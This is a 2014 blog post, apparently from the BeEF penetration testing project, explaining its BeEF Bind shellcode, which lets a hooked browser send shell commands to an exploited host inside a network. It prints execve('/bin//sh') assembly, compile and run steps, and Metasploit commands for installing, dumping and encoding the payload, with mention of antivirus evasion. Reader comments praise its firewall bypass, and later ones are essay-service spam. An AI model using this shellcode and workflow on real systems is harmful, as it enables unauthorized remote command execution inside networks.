Wednesday, March 19, 2014

Exploiting with BeEF Bind shellcode

Today's post contributed by Bart Leppens.

Some time ago Michele blogged about the BeEF bind shellcode that Ty Miller wrote for the BeEF project.  In the meantime we have committed the full source of this shellcode to the BeEF repository and it has been ported to  Linux x86 and x64 as well. So, next time you find an exploitable overflow in an application, why not give BeEF Bind a try?
In contrast to the "classical" bind or reverse shell-shellcodes, BeEF bind makes use of Inter-Protocol Communication.  This way it can be used in a very subtle way to pivot into a company's internal network by abusing a victim's hooked browser.  To achieve this, our shellcode is in fact a small webserver that proxies all the commands back and forth between cmd.exe and the victim's browser.  For making it more effective the CORS-header "Access-Control-Allow-Origin: *" has been added.  This means that, when we make cross-domain AJAX calls towards it, we are able to read the response of the HTTP request without violating the Same Origin Policy.

Exploit flow

The BeEF Bind shellcode exists of 2 parts: the Stager and the Stage. The Stager is a smaller piece of shellcode that allocates one page of executable memory and initializes a websocket that waits for a client connection before sending the actual payload: the Stage.

Once the client sends the data, the shell code scanning for the request gets processed. The Stager locates the Stage by searching for the string cmd= in memory, checking if the EBX register value points to it:

cmp dword [esi], 0x3d646d63  ;=dmc

The string indicates the start of the bytecode of the actual Stage.  The Stager copies this bytecode to the allocated executable memory and then jumps into it.

The Stage initializes a server socket, as well.

Sets of OS pipes are created to redirect the input and output through cmd.exe (Windows) or /bin/sh (Linux). These pipes are used to pass and subsequently execute OS commands.

On Windows the Windows API CreateProcess is being called to execute the command. On Linux this is done with the setresuid and execve syscalls.

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0xa4 ;sys_setresuid16
int 0x80 
;execve("/bin//sh", 0, 0)
xor eax, eax
push eax
push eax
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx, esp
push BYTE 0x0b ;sys_execvepop eax
int 0x80

So, when the client sends a request to the server socket, the shellcode once again scans for the string cmd=.  Everything after this string is sent to cmd.exe till we meet a CR/LF.  Then, the result of the executed command is send back to the client.

BeEF bind established
In our BeEF codebase, the shellcode is located in the folder modules/exploits/beefbind/shellcode_sources.

Both linux and windows directories contain commented assembly-code of the shellcode as well as a small C-file "socket.c". With these small files a standalone version (for test or RCE) can be compiled with MinGW (Windows) or with GCC:

c:\MinGW\bin>gcc -o beefstager.exe beefstager.c

and then executed with:

c:\MinGW\bin>beefstager.exe 1234

or just with the default port 4444:


The msf directory contains the modules and the instructions (instructions.txt) on how you can use BeEF bind with the metaspoit framework. This comes in handy for re-encoding the shellcode for AV-evasion or just for coding out bad characters like the NULL-byte.

copy beef_bind-handler.rb %METASPLOIT_PATH%/lib/msf/core/handler/beef_bind.rb
copy beef_bind-stage-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/windows/beef_shell.rb
copy beef_bind-stager-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/windows/beef_bind.rb
copy beef_bind-stage-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x86/beef_shell.rb
copy beef_bind-stager-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x86/beef_bind.rb
copy beef_bind-stage-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x64/beef_shell.rb
copy beef_bind-stager-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x64/beef_bind.rb

Check it works:
msfpayload -l | grep beef_bind

Get info on the payload:
msfpayload windows/beef_shell/beef_bind S

Dump stager and stage in C format:
msfpayload windows/beef_shell/beef_bind C

Dump stager in raw format:
msfpayload windows/beef_shell/beef_bind R > beef_bind-stager

Encode stager to remove nulls:
msfpayload windows/beef_shell/beef_bind R | msfencode -b '\x00'

If you are interested in more information about attacking internal networks via the browser or about BeEF internals, Chapter 10 of "The Browser Hackers Handbook" discusses "Attacking Networks" and covers more of this kind of topic.

If you know of other good resources for browser hacking, or other BeEFy stuff, we would love to hear about them!

Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra


  1. Very nice! This looks like a great step forward. Do you guys plan to have a reverse shell proxy back through the hooked machine as well? You guys know more about this than I do, but it would appear that reverse shells are favoured over bind shells thanks to firewalls and the like. I'd love to see an implementation of this which connects back.

    Another admittedly picky note, encoding payloads is only about bad char avoidance, and not about AV evasion at all. If anything, encoding makes the payload look _more_ suspicious :) Dave Maloney presented a great talk at DerbyCon last year that talks about this, it can be found here:

    Keep up the great work! Cheers :)

    1. Hey OJ.

      That is exactly what BeEF Bind does. The browser delivers the exploit. The shellcode then sets up a mini-web server to accept OS commands from the hooked web browser. The output is then tunnelled back through the browser to the attacker on the Internet, which basically bypasses any border security controls to allow remote access to internal systems and shells.


  2. Happy you like it OJ!

    This can be even better than a traditional bind shell and even more likely than a reverse shell to provide you access out of the network. Also, you don’t even have to compromise the machine the browser is running on. Remember the browser already has a connection to a server you control and it can connect to the target. Once the target has been compromised (via Inter-protocol Exploitation) and the BeEF Bind is running, BeEF will simply use the browser to proxy communication between you and the target over HTTP/S.

    Why is this better than a traditional bind shell and reverse shell? Obviously, a bind shell needs the firewall rules to allow an incoming connection to your target. A reverse shell also needs supportive egress firewall rules. It needs to allow connections from the target to the server you control on the Internet. However, the BeEF Bind needs neither. It needs a browser to do what browsers do – send HTTP requests.

    FYI Aviator prevents this out of the box.

  3. Loved to read your blog. I would like to suggest you that traffic show most people read blogs on Mondays. So it should encourage blogger to write new write ups over the weekend primarily.Great post! Interesting information and cute writing style.writing a resume that stands out from the crowd is a key success factor for job seekers. An eye-catching professional resume will increase your chances of getting a job interview.Choose best resume writing service for your better future.

  4. Operations Management Assignment
    Great Information,it has lot for stuff which is informative.I will share the post with my friends.

  5. well Thanks a lot for such a wonderful post, the stuff posted were really interesting and useful. The quality of the content was good and clear.
    Sociology Assignment Help

  6. This site and the resources you provide is really nice keep it up.
    Assignment Writing Service United Kingdom

  7. From your blog, I can learn some new knowledge, I like the valuable information you provide in your articles.
    Statistics Assignment Help

  8. HR homework Help
    by visiting this site I found cool stuff here keep it up.

  9. You have explained the different aspects of BeEF blind shell code in a convincing manner and it is truly helpful for those who need to know about BeEF project.
    Essay writing service

  10. Here are some useful updates about BeEF blind shell code. It will help people who need to know about the BeEF blind shell code.
    Custom essay writing service

  11. I think he's got the point. Me too on the other hand using the same method with my work at